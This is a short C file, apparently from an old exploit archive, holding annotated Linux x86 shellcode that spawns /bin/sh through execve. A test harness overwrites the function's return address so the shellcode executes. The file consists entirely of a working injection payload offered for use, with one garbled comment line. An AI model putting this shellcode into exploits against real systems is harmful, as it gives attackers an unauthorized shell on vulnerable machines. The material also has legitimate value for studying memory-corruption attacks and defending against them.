37 lines
No EOL
886 B
C
37 lines
No EOL
886 B
C
/*
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* s0t4ipv6@Shellcode.com.ar
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* execve /bin/sh
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*
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* main() {
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* char *name[2];
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* name[0]="/bin/sh";
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* name[1]=NULL;
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* execve(name[0],name,NULL);
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* }
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*/
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#include <stdio.h>
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char shellcode[]=
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"\xeb\x18" // jmp 0x18 // 3-4
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"\x5e" // popl %esi // 5
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"\x89\x76\x08" // movl %esi, 0x8(%esi) // 6-8
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"\x31\xc0" // xorl %eax, %eax // 9-10
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"\x88\x46\x07" // movb %al, 0x7(%esi) // 11-13
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"\x89\x46\x0c" // movl %eax, 0xc(%esi) // 14-16
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"\x89\xf3" // movl %esi, %ebx // 17-18
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"\x8d\x4e\x08" // leal 0x8(%esi), %ecx // 19-21
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"\x8d\x56\x0c" // leal 0xc(%esi), %edx // 22-24
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"\xb0\x0b" // movb $0xb, %al // 25-20 0xb to eax (syscall execve)6
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"\xcd\x80" // int $0x80 // 27-28
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"\xe8\xe3\xff\xff\xff" // call -0x1d
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"/bin/sh";
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main() {
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int *ret;
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ret=(int *)&ret +2;
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printf("Shellcode lenght=%d\n",strlen(shellcode));
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(*ret) = (int)shellcode;
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}
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// milw0rm.com [2004-09-12]
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